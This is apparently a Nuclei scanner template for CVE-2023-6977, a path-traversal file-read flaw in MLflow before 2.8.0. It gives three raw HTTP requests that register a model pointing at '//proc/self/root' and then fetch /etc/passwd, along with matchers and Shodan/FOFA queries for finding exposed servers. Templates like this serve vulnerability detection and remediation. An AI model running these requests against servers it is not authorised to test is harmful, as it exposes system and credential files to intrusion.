Mlflow <2.8.0 - Local File Inclusion

id: CVE-2023-6977

info:
  name: Mlflow <2.8.0 - Local File Inclusion
  author: gy741
  severity: high
  description: |
    Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
  reference:
    - https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6977
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6977
    cwe-id: CWE-29
    epss-score: 0.03924
    epss-percentile: 0.89039
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,oss,lfi,intrusive,lfprojects,vuln

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}","source":"//proc/self/root"}

      - |
        GET /model-versions/get-artifact?name={{randstr}}&path=etc%2Fpasswd&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_3
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200
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